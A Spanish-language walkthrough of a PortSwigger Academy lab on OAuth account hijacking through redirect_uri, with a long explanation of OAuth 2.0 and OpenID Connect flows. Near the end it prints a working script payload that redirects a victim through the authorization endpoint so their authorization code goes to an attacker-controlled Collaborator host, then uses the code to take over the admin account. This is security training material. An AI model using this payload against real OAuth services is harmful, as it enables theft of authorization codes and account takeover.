OAuth Lab 4
Skills
- OAuth account hijacking via redirect_uri
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
utiliza un servicio OAuth
para permitir que los usuarios inicien sesión
con su cuenta de redes sociales
. Una mala configuración
por parte del proveedor de OAuth
hace posible que un atacante robe los códigos de autorización
asociados a las cuentas de otros usuarios
Para resolver
el laboratorio
, debemos robar un código de autorización
asociado al usuario admin
, usarlo para acceder a su cuenta
y eliminar al usuario carlos
El usuario admin
abrirá cualquier cosa que enviemos desde el servidor de explotación
y siempre tiene una sesión activa
con el servicio OAuth
. Podemos iniciar sesión
con nuestra propia cuenta de redes sociales
utilizando las credenciales wiener:peter
Resolución
Al acceder
a la web
vemos esto
Si pulsamos sobre My account
nos redirige
a este panel de login
No logueamos
con las credenciales wiener:peter
Posteriormente nos redirige
a esta otra ventana donde nos solicita permiso
para acceder
a nuestro perfil
e email
Si hemos iniciado sesión
correctamente nos saldrá este mensaje
al final
Si accedemos
a My account
veremos nuestro username
y nuestro email
OAuth
es un framework
comúnmente utilizado que permite a los sitios web
y aplicaciones web
solicitar un acceso limitado
a la cuenta de un usuario
en otra aplicación. Lo más importante es que OAuth permite que el usuario
conceda
este acceso
sin exponer
sus credenciales
de inicio de sesión
a la aplicación
que realiza
la solicitud
. Esto significa que los usuarios
pueden ajustar qué datos desean compartir
en lugar de tener que entregar
el control total de su cuenta
a un tercero
El proceso básico de OAuth
se utiliza ampliamente para integrar funcionalidades de terceros
que requieren acceso
a ciertos datos
de la cuenta del usuario
. Por ejemplo, una aplicación puede usar OAuth
para solicitar acceso
a tu lista de contactos del correo electrónico
y así sugerir personas con las que conectar
. Sin embargo, este mismo mecanismo también se utiliza para ofrecer servicios de autenticación de terceros
, permitiendo que los usuarios inicien sesión
con una cuenta que ya tienen
en otro sitio web
Aunque OAuth 2.0
es el estándar
actual, algunos sitios web
aún utilizan
la versión legacy 1a
. OAuth 2.0
fue creado desde cero en lugar de ser desarrollado directamente a partir de OAuth 1.0
, como resultado de esto, ambos
son muy diferentes
. En estos laboratorios cada vez que hacemos referencia a OAuth
nos referimos a OAuth 2.0
OAuth 2.0
fue desarrollado originalmente como una forma de compartir acceso a datos específicos entre aplicaciones
. Funciona definiendo una serie de interacciones entre tres partes distintas, una aplicación cliente
, un propietario de los recursos
y un proveedor de servicios OAuth
Aplicación cliente
- Elsitio web
oaplicación web
que deseaacceder
a losdatos del usuario
Propietario de los recursos
- Elusuario
que esdueño
de losdatos
a los que laaplicación cliente
quiereacceder
Proveedor de servicio OAuth
- Elsitio web
oaplicación web
quecontrola
losdatos del usuario
y elacceso a ellos
. ApoyanOAuth
proporcionando unaAPI
parainteractuar
con unservidor de autorización (gestiona la autenticación del usuario y emite tokens de acceso)
y con unservidor de recursos (aloja los datos protegidos del usuario y los comparte si el token es válido)
Existen numerosas formas diferentes de implementar el proceso de OAuth
. Estas se conocen como los flows
o grant types
de OAuth
. Nos enfocaremos en los grant types
de authorization code
e implicit
, ya que son los más comunes
. De manera general, ambos grant types
involucran las siguientes etapas
La
aplicación cliente
solicita acceso a unsubconjunto de datos del usuario
, especificando quégrant type
desea usar y quétipo de acceso
deseaobtener
Se le
solicita
alusuario
queinicie sesión
en el servicioOAuth
y dé suconsentimiento
para elacceso solicitado
La
aplicación cliente
recibe untoken de acceso
único que demuestra que tienepermiso del usuario
paraacceder
a losdatos solicitados
. Exactamente cómo ocurre esto varía significativamente según elgrant type
La
aplicación cliente
utiliza estetoken de acceso
parallamar
a laAPI
yobtener
losdatos relevantes
delservidor de recursos
El grant type
de OAuth
determina la secuencia exacta
de los pasos involucrados
en el proceso de OAuth
. El grant type
también afecta cómo la aplicación cliente
se comunica con el servicio OAuth
en cada etapa, incluyendo cómo se envía el token de acceso
. Por esta razón, los grant types
también reciben el nombre OAuth flows
Un servicio OAuth
debe estar configurado para soportar
un grant type
en particular antes de que una aplicación cliente
pueda iniciar
el flujo correspondiente
. La aplicación cliente
especifica qué grant type
desea usar en la solicitud de autorización
inicial que envía al servicio OAuth
Existen varios grant types
, cada uno con diferentes niveles de complejidad
y consideraciones de seguridad
. Nos centraremos en los grant types
más comunes, el authorization code
y el implicit
Para cualquier grant type
de OAuth
, la aplicación cliente
debe especificar qué datos desea acceder
y qué tipo de operaciones
desea realizar
. Esto lo hace utilizando el parámetro scope
de la solicitud de autorización
que envía al servicio OAuth
Para un OAuth básico
, los scopes
a los que una aplicación cliente
puede solicitar acceso
son únicos
para cada servicio OAuth
. Como el nombre del scope
es solo una cadena de texto arbitraria
, el formato
puede variar
dependiendo del proveedor
. Algunos incluso usan una URI completa
como nombre del scope
, similar a un endpoint de API REST
. Por ejemplo, al solicitar acceso de solo lectura
a la lista de contactos de un usuario
, el nombre del scope
podría adoptar cualquiera de las siguientes formas dependiendo del servicio OAuth
que se utilice
1
2
3
4
scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly
Sin embargo, cuando OAuth
se utiliza para autenticación
, a menudo se emplean los scopes estandarizados
de OpenID Connect
en su lugar. Por ejemplo, el scope openid profile
otorgará a la aplicación cliente
acceso de lectura
a un conjunto predefinido de información básica del usuario
, como su dirección de correo electrónico
, nombre de usuario
, entre otros. Hablaremos sobre OpenID Connect
más adelante
Authorization code grant type
- La aplicación cliente
y el servicio OAuth
primero utilizan redirecciones
para intercambiar
una serie de solicitudes HTTP
basadas en el navegador que inician el flujo
. Se le pregunta
al usuario
si consiente el acceso solicitado
. Si acepta
, la aplicación cliente
recibe un código de autorización
. Luego, la aplicación cliente
lleva a cabo un intercambio
de este código
con el servicio OAuth
y recibe
un token de acceso
, que puede usar para llamar
a la API
y obtener datos relevantes del usuario
Toda la comunicación
que ocurre después
del intercambio del código/token
se envía
de servidor a servidor
a través
de un canal seguro preconfigurado
y, por lo tanto, es invisible
para el usuario final
. Este canal seguro
se establece
cuando la aplicación cliente
se registra
por primera vez con el servicio OAuth
. En este momento, también se genera una clave secreta
, que la aplicación cliente
debe usar para autenticar
sus solicitudes
entre servidores
Dado que los datos
más sensibles
, es decir, el token de acceso
y los datos del usuario
, no se envían a través del navegador, este grant type
es probablemente el más seguro
. Las aplicaciones del lado del servidor
deberían usar siempre estos grant types
si es posible
Authorization request
- La aplicación cliente
envía una solicitud
al servicio OAuth
en el endpoint /authorization
pidiendo permiso
para acceder a datos específicos del usuario
. Es importante tener en cuenta que el mapeo del endpoint
puede variar entre proveedores, en los laboratorios de portswigger
se usa el endpoint /auth
para este propósito. Sin embargo, siempre debemos poder identificar el endpoint
basado en los parámetros
usados esta la solicitud
1
2
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
La solicitud anterior
incluye los siguientes parámetros
destacados, que normalmente se proporcionan en la query
client_id
-Parámetro obligatorio
quecontiene
elidentificador único
de laaplicación cliente
. Estevalor
segenera
cuando laaplicación cliente
seregistra
en elservicio OAuth
redirect_uri
- LaURI
a la que deberedirigirse
elnavegador del usuario
cuandoenvíe
elcódigo de autorización
a laaplicación cliente
. También se conoce comocallback URI
ocallback endpoint
. Muchosataques OAuth
se basan enexplotar fallos
en lavalidación
de esteparámetro
response_type
- Determina quétipo de respuesta espera la aplicación cliente
y por lo tanto, quéflujo desea iniciar
. Para elgrant type
deauthorization code
el valor debe sercode
scope
- Se utiliza para especificar a quésubconjunto de datos del usuario
deseaacceder
laaplicación cliente
. Tenga en cuenta que estos pueden serscopes personalizados
por elproveedor de OAuth
oscopes estandarizados
definidos por la especificaciónOpenID Connect
state
-Almacena un valor único e impredecible
que estávinculado
a lasesión actual
en laaplicación cliente
. Elservicio OAuth
debedevolver
estevalor exacto
en larespuesta
, junto con elcódigo de autorización
. Esteparámetro
funciona como una especie detoken CSRF
para laaplicación cliente
yasegura
que lasolicitud
a su endpoint/callback
provenga de lamisma persona que inició el flujo de OAuth
User login and consent
- Cuando el servidor de autorización
recibe la solicitud inicial
, redirigirá
al usuario
a una página
de inicio de sesión
, donde se le pedirá
que ingrese
a su cuenta
con el proveedor de OAuth (Google, Apple, GitHub)
Luego, se le mostrará
una lista de datos
a los que la aplicación cliente
quiere acceder
. Esto se basa en los scopes
que han sido definidos
en la authorization request
. El usuario
puede elegir
si quiere dar o no su consentimiento para este acceso
Es importante destacar que, una vez que el usuario
ha aprobado
un scope determinado
para una aplicación cliente
, este paso
se completará automáticamente
siempre que el usuario
aún tenga una sesión válida
con el servicio de OAuth
. En otras palabras, la primera vez
que el usuario
seleccione Iniciar sesión con Google/Facebook/GitHub
, tendrá que ingresar manualmente
y dar su consentimiento
, pero si más tarde vuelve a la aplicación cliente
, a menudo podrá iniciar sesión nuevamente con un solo click
Authorization code grant type
- Si el usuario
ha aceptado
el acceso solicitado
, su navegador
será redirigido
al endpoint /callback
que fue especificado en el parámetro redirect_uri
de la authorization request
. La solicitud GET
resultante contendrá el código de autorización
como un parámetro de la query
. Dependiendo de la configuración
, también podría enviar
el parámetro state
con el mismo valor
que en la authorization request
1
2
GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
Access token request
- Una vez que la aplicación cliente
ha recibido
el código de autorización
, debe intercambiarlo
por un token de acceso
. Para hacer esto, envía una solicitud POST
de servidor a servidor
al endpoint /token
del servicio OAuth
. A partir de este punto, toda la comunicación
ocurre a través de un canal seguro
y por lo tanto, generalmente la solicitud no puede ser observada o controlada por un atacante
1
2
3
4
POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
Además del client_id
y el authorization_code
, también hay estos dos nuevos parámetros
client_secret
- Laaplicación cliente
debeautenticarse
incluyendo laclave secreta
que le fueasignada
alregistrarse
en elservicio OAuth
grant_type
- Se utiliza paraasegurar
que el nuevoendpoint
sepa quegrant type
es el que quiere usar laaplicación cliente
. En este caso, debe establecerse comoauthorization_code
Access token grant
- El servicio OAuth
se encargará de validar
la solicitud
del access token
. Si todo
es correcto
, el servidor otorgará
a la aplicación cliente
un access token
con los scopes solicitados
1
2
3
4
5
6
7
{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid profile",
…
}
API call
- Ahora que laaplicación cliente
tiene elaccess token
, finalmente puedeobtener
losdatos del usuario
delservidor de recursos (API de GitHub, Google, etc que almacena los datos del usuario)
. Para hacer esto, realiza unaAPI call
al endpoint/userinfo
delservicio OAuth
. Elaccess token
seenvía
en la cabeceraAuthorization: Bearer
para demostrar que laaplicación cliente
tienepermiso
paraacceder a estos datos
1
2
3
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
Resource grant
- Elservidor de recursos
debeverificar
que eltoken
esválido
y quepertenece
a laaplicación cliente
. Si es así,enviará
elrecurso solicitado
, es decir, losdatos del usuario según el scope del token de acceso
. Finalmente, laaplicación cliente
puedeutilizar
estosdatos
para elpropósito previsto
. En el caso de laautenticación OAuth
, normalmente se usará comoID
paraconceder
alusuario
unasesión autenticada
, lo que efectivamenteiniciará su sesión
1
2
3
4
5
{
"username": "carlos",
"email": "carlos@carlos-montoya.net",
…
}
Implicit grant type
- El implicit grant type
es mucho más simple, en lugar de obtener
primero un código de autorización
y luego intercambiarlo
por un token de acceso
, la aplicación cliente recibe el token de acceso inmediatamente después de que el usuario dé su consentimiento
Puede que te preguntes por qué las aplicaciones cliente
no siempre usan el implicit grant type
, la respuesta es relativamente simple, es mucho menos seguro
. Cuando se usa el implicit grant type
, toda la comunicación
ocurre a través de redireccionamientos del navegador
, es decir, no hay un canal seguro en segundo plano
como en el authorization code grant type
. Esto significa que el token de acceso
y los datos del usuario
están más expuestos
a posibles ataques
El implicit grant type
es más adecuado para aplicaciones de una sola página
y aplicaciones nativas de escritorio
que no pueden almacenar fácilmente
el client_secret
en el back-end
y por lo tanto, no se benefician tanto del authorization code grant type
Authorization request
- El implicit grant type
comienza de manera muy similar al authorization code grant type
. La única diferencia importante es que el parámetro response_type
debe establecerse como token
1
2
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
User login and consent
- El usuario inicia sesión
y decide si otorga o no los permisos solicitados
. Este proceso es exactamente igual
en ambos grant types
Access token grant
- Si el usuario otorga
su consentimiento
para el acceso solicitado
, aquí es donde las cosas comienzan a diferir
. El servicio OAuth redirigirá
el navegador
del usuario
al redirect_uri especificado
en la authorization request
. Sin embargo, en lugar de enviar un parámetro en la query con un código de autorización
, enviará
el token de acceso
y otros datos específicos del token
como un fragmento de URL
Dado que el token de acceso
se envía
en un fragmento de URL
, nunca se envía directamente a la aplicación cliente
. En su lugar, la aplicación cliente
debe utilizar
un script adecuado
para extraer
el fragmento
y almacenarlo
1
2
GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
API call
- Una vez que la aplicación cliente
ha extraído
el token de acceso
del fragmento de URL
, puede usarlo para hacer llamadas API
al endpoint /userinfo
del servicio OAuth
. A diferencia del authorization code grant type
, esto también ocurre a través del navegador
1
2
3
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
Resource grant
- El servidor de recursos
debe verificar
que el token
es válido
y que pertenece
a la aplicación cliente
. Si es así, enviará
el recurso solicitado
, es decir, los datos del usuario
según el scope asociado al token de acceso
La aplicación cliente
finalmente puede utilizar
estos datos
para su propósito previsto. En el caso de la autenticación con OAuth
, normalmente se usará como un ID
para otorgar
al usuario
una sesión autenticada
, iniciando así sesión
1
2
3
4
{
"username": "carlos",
"email": "carlos@carlos-montoya.net"
}
Aunque originalmente no fue diseñado para este propósito, OAuth
ha evolucionado hasta convertirse también en un método de autenticación de usuarios
. Por ejemplo, en vez de crearnos
una cuenta
en un sitio web
proporcionando un correo electrónico
y contraseña
podemos hacerlo empleando una cuenta de Google, Facebook GitHub etc.
Estas opciones es muy probable que estén basadas en OAuth 2.0
En los mecanismos de autenticación con OAuth
, los flujos básicos de OAuth
siguen siendo prácticamente los mismos, la principal diferencia
está en cómo la aplicación cliente
utiliza los datos
que recibe
. Desde la perspectiva del usuario final
, el resultado
de la autenticación con OAuth
se asemeja en gran medida al inicio de sesión único (SSO)
basado en Security Assertion Markup Language (SAML)
. En estos materiales, nos centraremos exclusivamente en las vulnerabilidades
de este tipo que son similares al SSO
La autenticación con OAuth
generalmente se implementa de la siguiente manera
El
usuario
elige la opción deiniciar sesión
con su cuenta deredes sociales
La
aplicación cliente
utiliza entonces el servicioOAuth
de lared social
parasolicitar acceso a ciertos datos
que pueda usar para identificar alusuario
, como por ejemplo, ladirección de correo electrónico
registrada en sucuenta
Después de
recibir
untoken de acceso
, laaplicación cliente
solicita estosdatos
alservidor de recursos
, normalmente desde unendpoint
dedicado, como/userinfo
Una vez
recibidos
losdatos
, laaplicación cliente
los utiliza en lugar de unnombre de usuario
para autenticar alusuario
. Eltoken de acceso
obtenido delservidor de autorización
suele emplearse en lugar de unacontraseña tradicional
Las vulnerabilidades
en la autenticación OAuth
surgen en parte porque la especificación de OAuth
es relativamente vaga
y flexible
por diseño
. Aunque hay varios componentes obligatorios
que son necesarios para la funcionalidad básica
de cada grant type
, la gran mayoría de la implementación
es opcional
. Esto incluye muchas configuraciones
necesarias para mantener seguros
los datos de los usuarios
. En resumen, hay muchas oportunidades para que se lleven a cabo malas prácticas
Otro de los problemas con clave de OAuth
es la falta general de funciones de seguridad integradas
. La seguridad
depende casi por completo de que los desarrolladores
utilicen la combinación correcta de opciones de configuración
e implementen sus propias medidas de seguridad adicionales
, como una validación de entrada robusta
Dependiendo del grant type
, los datos altamente sensibles
también se envían
a través del navegador
, lo que presenta diversas oportunidades para que un atacante
los intercepte
Reconocer cuándo una aplicación utiliza autenticación OAuth
es relativamente sencillo
, si vemos una opción para iniciar sesión
con nuestra cuenta
de otro sitio web (Google, Facebook, GitHub etc)
es un fuerte indicio de que se está usando OAuth
La forma más confiable de identificar
la autenticación OAuth
es redirigir tu tráfico
a través de Burpsuite
y revisar los mensajes HTTP
correspondientes cuando usas esta opción de inicio de sesión
. Independientemente del grant type
que se emplee, la primera solicitud del flujo
siempre será una petición
al endpoint /authorization
, que contiene varios parámetros de consulta
específicos para OAuth
. En particular, debemos buscar los parámetros client_id
, redirect_uri
y response_type
. Este es un ejemplo de una solicitud de autorización
1
2
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c2 HTTP/1.1
Host: oauth-authorization-server.com
Realizar un reconocimiento básico
del servicio OAuth
utilizado puede orientarnos en la dirección correcta para identificar vulnerabilidades
Si se utiliza un servicio OAuth
externo, deberíamos poder identificar
el proveedor específico
a partir del nombre de host
al que se envía
la solicitud de autorización
. Por ejemplo, si el host
es accounts.google.com
podemos saber que el proveedor
es Google
Dado que estos servicios
ofrecen una API pública
, suele haber documentación detallada
disponible que proporciona información útil
, como los nombres exactos de los endpoints
y qué opciones de configuración
se están utilizando. Si el proveedor
es Google
podemos consultar la documentación
de OAuth
en https://developers.google.com/identity/protocols/oauth2
Una vez sepamos el nombre de host
del servidor de autorización
, siempre debemos intentar enviar
una solicitud GET
a estos endpoints
estándar
1
2
/.well-known/oauth-authorization-server
/.well-known/openid-configuration
Estos suelen devolver un archivo de configuración JSON
con información clave
, como detalles
sobre funciones adicionales
que podrían estar soportadas. En ocasiones, esto puede revelar una superficie de ataque
más amplia o características admitidas
que no se mencionan en la documentación
Las aplicaciones cliente
suelen utilizar servicios OAuth
reconocidos y altamente robustos, que están bien protegidos contra exploits
conocidos. Sin embargo, su propia implementación
puede ser menos segura
Las vulnerabilidades
pueden surgir tanto en la implementación de OAuth
por parte de la aplicación cliente
como en la configuración del propio servicio OAuth
. Algunas de las vulnerabilidades
más comunes son las siguientes
Vulnerabilidades
en la aplicación cliente
Implementación incorrecta del grant type
Protección CSRF defectuosa
Vulnerabilidades
en el servicio OAuth
Leaks de de códigos de autorización
ytokens de acceso
Validación del scope errónea
Registrar usuarios sin verificar sus datos
Como ya hemos mencionado, la especificación de OAuth
está poco definida
. Esto es especialmente cierto en lo que respecta a la implementación por parte de la aplicación cliente
. Un flujo de OAuth
involucra muchos componentes dinámicos
, con numerosos parámetros opcionales
y ajustes de configuración
en cada grant type
, lo que significa que hay amplio margen
para configuraciones incorrectas
Implementación incorrecta del grant type
- Debido a los peligros
que implica enviar tokens de acceso
a través del navegador
, el implicit grant type
se recomienda principalmente para aplicaciones de una sola página (SPA)
. Sin embargo, también se utiliza con frecuencia en aplicaciones web clásicas
de tipo cliente-servidor
debido a su relativa simplicidad
En este flujo, el token de acceso
se envía
desde el servicio OAuth
a la aplicación cliente
a través del navegador del usuario
como un fragmento de la URL
y luego, la aplicación cliente
accede al token
mediante JavaScript
. El problema es que, si la aplicación
desea mantener la sesión
después de que el usuario cierre la página
, necesita almacenar
en algún lugar los datos del usuario actual (normalmente un ID de usuario y el token de acceso)
Para solucionar
este problema
, la aplicación cliente
a menudo envía
estos datos
al servidor
en una solicitud POST
y luego asigna
al usuario
una cookie de sesión
, haciendo que el usuario
se loguee
. Esta solicitud es aproximadamente equivalente
al envío
de un formulario
que podría enviarse
como parte
de un inicio de sesión tradicional
basado en contraseñas
. Sin embargo, en este escenario, el servidor
no tiene secretos ni contraseñas
para comparar con los datos enviados, lo que significa que confía implícitamente
en ellos
En el implicit grant type
, esta solicitud POST
queda expuesta
al atacantes
a través del navegador
. Como resultado, este comportamiento puede conducir a una vulnerabilidad grave
si la aplicación cliente
no verifica correctamente que el token de acceso
coincida con los demás datos de la solicitud
. En este caso, un atacante
puede simplemente modificar
los parámetros enviados
al servidor
para hacerse pasar por cualquier usuario
Cuando se utiliza para autenticación
, OAuth
a menudo se combina con OpenID Connect
, que proporciona funciones adicionales
relacionadas con la identificación
y autenticación de usuarios
. Añade funcionalidades sencillas que permiten un mejor soporte para el caso de uso de autenticación
en OAuth
OAuth
no fue diseñado inicialmente pensando en la autenticación
, su propósito original era servir como un mecanismo para delegar autorizaciones entre aplicaciones para recursos específicos
. Sin embargo, muchos sitios web comenzaron a adaptar OAuth
para usarlo como mecanismo de autenticación
. Para lograrlo, normalmente solicitaban acceso de lectura
a algunos datos básicos del usuario
y si se les concedía este acceso, asumían que el usuario se había autenticado en el lado del proveedor de OAuth
Estos mecanismos de autenticación
basados en OAuth simple
distaban mucho de ser ideales. Para empezar, la aplicación cliente
no tenía forma de saber cuándo
, dónde
o cómo
se autenticaba el usuario
. Además, como cada implementación era una solución personalizada
, no había una forma estándar
de solicitar datos del usuario
para este fin. Para soportar OAuth
correctamente, las aplicaciones cliente
tenían que configurar mecanismos OAuth separados
para cada proveedor
, cada uno con endpoints distintos
, conjuntos de scopes únicos
, etc
OpenID Connect
resuelve muchos de estos problemas al añadir características estandarizadas
relacionadas con la identidad
, haciendo que la autenticación
mediante OAuth
funcione de manera más uniforme
y confiable
.
OpenID Connect
se integra perfectamente en los flujos normales de OAuth
. Desde la perspectiva de la aplicación cliente
, la diferencia clave es que existe un conjunto adicional de scopes estandarizados (iguales para todos los proveedores)
y un nuevo tipo de respuesta
, el id_token
Los roles
en OpenID Connect
son básicamente los mismos que en OAuth estándar
. La principal diferencia
es que la especificación
utiliza una terminología ligeramente distinta
Relying Party
- Laaplicación
quesolicita
laautenticación de un usuario
. Es sinónimo de laaplicación cliente
enOAuth
End User
- Elusuario
que está siendoautenticado
.Equivale
alpropietario del recurso
enOAuth
OpenID Provider
- Unservicio OAuth
configurado para soportarOpenID Connect
El término claims
se refiere a los pares clave:valor
que representan información sobre el usuario
en el servidor de recursos
. Un ejemplo de un claim
podría ser "family_name":"Montoya"
A diferencia de OAuth básico
, cuyos scopes
son únicos
para cada proveedor
, todos los servicios de OpenID Connect
utilizan un conjunto idéntico de scopes
. Para usar OpenID Connect
, la aplicación cliente
debe incluir el scope openid
en la solicitud de autorización
y posteriormente puede agregar
uno o más de los siguientes scopes estándar
profile
email
address
phone
Cada uno de estos scopes
corresponde a permisos de lectura
para un subconjunto de claims sobre el usuario
, definidos en la especificación
de OpenID
. Por ejemplo, solicitar
el scope openid profile
le dará a la aplicación acceso de lectura
a una serie de atributos relacionados con la identidad
del usuario, como family_name
, given_name
, birth_date
, entre otros
La otra incorporación principal de OpenID Connect
es el tipo de respuesta id_token
. Este devuelve un JSON Web Token (JWT)
firmado con una JSON Web Signature (JWS)
. El payload
del JWT
contiene una lista de claims
basados en el scope solicitado
inicialmente. También incluye información sobre cómo y cuándo el usuario fue autenticado por última vez en el servicio OAuth
. La aplicación cliente
puede usar esto para determinar
si el usuario
ha sido autenticado
cumpliendo los requisitos mínimos de autenticación
necesarios para permitir acceso
a un recurso
o funcionalidad
El principal beneficio de usar id_token
es la reducción en el número de solicitudes
entre la aplicación cliente
y el servicio OAuth
, lo que puede mejorar el rendimiento general
. En lugar de tener que obtener un access token
y luego solicitar los datos del usuario por separado
, el ID token (que ya contiene esta información)
se envía
a la aplicación cliente
inmediatamente después de que el usuario
se autentique
A diferencia de OAuth básico
, que depende simplemente de un canal seguro
, la integridad de los datos
transmitidos en un ID token
se basa en una firma criptográfica JWT
. Por esta razón, el uso de ID tokens
puede ayudar a protegerse contra algunos ataques de Man-in-the-Middle (MITM)
. Sin embargo, dado que las claves criptográficas
para verificar
la firma
se transmiten
por el mismo canal de red (normalmente expuestas en /.well-known/jwks.json)
, algunos ataques
siguen siendo posibles
Cabe destacar que OAuth
admite múltiples tipos de respuesta
, por lo que es perfectamente válido que una aplicación cliente
envíe una solicitud de autorización
que combine un tipo de respuesta básico de OAuth
con el id_token
de OpenID Connect
. En estos casos, tanto un ID token
como un code
o access token
se enviarán a la aplicación cliente
al mismo tiempo
1
2
response_type=id_token token
response_type=id_token code
Si la aplicación cliente
está utilizando activamente OpenID Connect
, esto debería ser evidente en la solicitud de autorización
. La forma más infalible de verificarlo es buscar el scope obligatorio openid
Incluso si el proceso de inicio de sesión
no parece estar utilizando OpenID Connect
inicialmente, aún vale la pena verificar
si el servicio de OAuth
lo admite
. Simplemente puedes intentar agregar
el scope openid
o cambiar
el tipo de respuesta a id_token
y observar si esto genera
un error
Al igual que con OAuth básico
, también es una buena idea revisar la documentación del proveedor de OAuth
para ver si hay información útil
sobre su compatibilidad
con OpenID Connect
. También es posible que podamos acceder
al archivo de configuración
desde el endpoint estándar /.well-known/openid-configuration
La especificación
de OpenID Connect
es mucho más estricta
que la de OAuth básico
, lo que significa que, en general, hay menos posibilidades de implementaciones peculiares con vulnerabilidades evidentes
. Dicho esto, como es solo una capa que se basa en OAuth
, la aplicación cliente
o el servicio de OAuth
aún podrían ser vulnerables
a algún ataque basado en OAuth
La especificación OpenID
describe una forma estandarizada
de permitir
que las aplicaciones cliente
se registren
en el proveedor de OpenID
. Si se admite el registro dinámico de clientes
, la aplicación cliente
puede registrarse enviando
una solicitud POST
a un endpoint dedicado
, generalmente llamado /registration
. El nombre de este endpoint
suele proporcionarse en el archivo de configuración
y la documentación
En el body de la solicitud, la aplicación cliente
envía información clave sobre sí misma
en formato JSON
. Por ejemplo, a menudo se requerirá incluir un array de URIs de redirección whitelisteadas
. También puede enviar información adicional
, como los nombres de los endpoints
que queremos exponer
, un nombre para la aplicación
, etc. Una solicitud de registro típica
podría verse así
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256"
// …
}
El proveedor de OpenID
debe requerir que la aplicación cliente
se autentique
. En el ejemplo anterior, están utilizando un bearer token HTTP
. Sin embargo, algunos proveedores permitirán el registro dinámico de clientes sin ninguna autenticación
, lo que permite a un atacante registrar su propia aplicación cliente maliciosa
. Esto puede tener diversas consecuencias dependiendo de cómo se utilicen los valores de estas propiedades controladas por el atacante
Por ejemplo, algunas de estas propiedades pueden proporcionarse como URIs
. Si el proveedor de OpenID
accede a cualquiera de ellas, esto podría potencialmente conducir a vulnerabilidades SSRF de segundo orden
, a menos que se implementen medidas de seguridad adicionales
Hasta ahora, hemos visto la forma estándar
de enviar
los parámetros requeridos
para la solicitud de autorización
, es decir, a través de una query string
. Algunos proveedores
de OpenID
ofrecen la opción de enviar
estos parámetros
en un JSON Web Token (JWT)
en su lugar. Si esta función es compatible, puedes enviar un único parámetro request_uri
que apunte a un JWT
que contenga el resto de los parámetros de OAuth y sus valores
. Dependiendo de la configuración
del servicio de OAuth
, el parámetro request_uri
podría ser otro vector potencial para vulnerabilidades SSRF
También podríamos aprovechar
esta función
para eludir
la validación
de estos valores de parámetros
. Algunos servidores
pueden validar correctamente
la query string
en la solicitud de autorización
, pero podrían fallar al aplicar la misma validación a los parámetros dentro de un JWT
, incluido el redirect_uri
Para verificar
si esta opción
es compatible
, debemos buscar la configuración request_uri_parameter_supported
en el archivo de configuración
o en la documentación
. Alternativamente, podemos probar a agregar
el parámetro request_uri
para ver si funciona, esto lo hacemos debido a que hay algunos servidores
que admiten
esta función
incluso si no la mencionan explícitamente en su documentación
Si nos dirigimos a la extensión Logger ++
de Burpsuite
vemos todo el flujo de peticiones
Podemos determinar el grant type
observando la petición a /auth
. En este caso el parámetro response_type
tiene el valor code
lo cual quiere decir que estamos ante un authorization code grant type
. Además de esto también podemos ver el nombre de host
del servidor de autorización
, en este caso es oauth-0a8c00f0048be6db80281596023800d2.oauth-server.net
Si la petición a /oauth-callback
vemos que es el mismo código
que se está filtrando
en la petición anterior
Lo que hace la petición
a /oauth-callback
es loguearnos
en nuestra cuenta
Si enviamos
esta petición
al Repeater
y en el parámetro redirect_uri
introducimos nuestro servidor de Burpsuite Collaborator
vemos que funciona, lo cual quiere decir que es vulnerable
a open redirect
Si pulsamos sobre Follow redirect
vemos que efectivamente es vulnerable
Si no nos vamos a Burpsuite Collaborator
vemos que hemos recibido
el código
Nos dirigimos al Exploit server
y creamos
este payload
1
<script>document.location="https://oauth-0a0f009a03ae2658802e15e602a900e9.oauth-server.net/auth?client_id=ddxknvc302zusuduj1u4p&redirect_uri=https://ebtousjjgb9a0buf1sr5k9tii9o3ct0i.oastify.com&response_type=code&scope=openid%20profile%20email"</script>
Pulsamos sobre Deliver exploit to victim
y nos dirigimos a Burpsuite Collaborator
Si ahora accedemos a https://0aae00b30373267780e11795004c0075.web-security-academy.net/oauth-callback?code=VWapVul97uPeVdySUeNJs5oTNjf_dfennkF1jlP7Unp
vemos que acabamos de iniciar sesión
como el usuario administrador
Accedemos al Admin panel
y eliminamos
la cuenta
del usuario carlos
Para prevenir vulnerabilidades en la autenticación OAuth
, es fundamental que tanto el proveedor de OAuth
como la aplicación cliente
implementen una validación robusta
de los datos clave
, especialmente del parámetro redirect_uri
. La especificación de OAuth
ofrece muy poca protección integrada
, por lo que depende de los desarrolladores
asegurar que el flujo de OAuth
sea lo más seguro posible
Es importante destacar que las vulnerabilidades
pueden surgir tanto del lado de la aplicación cliente
como del propio servicio de OAuth
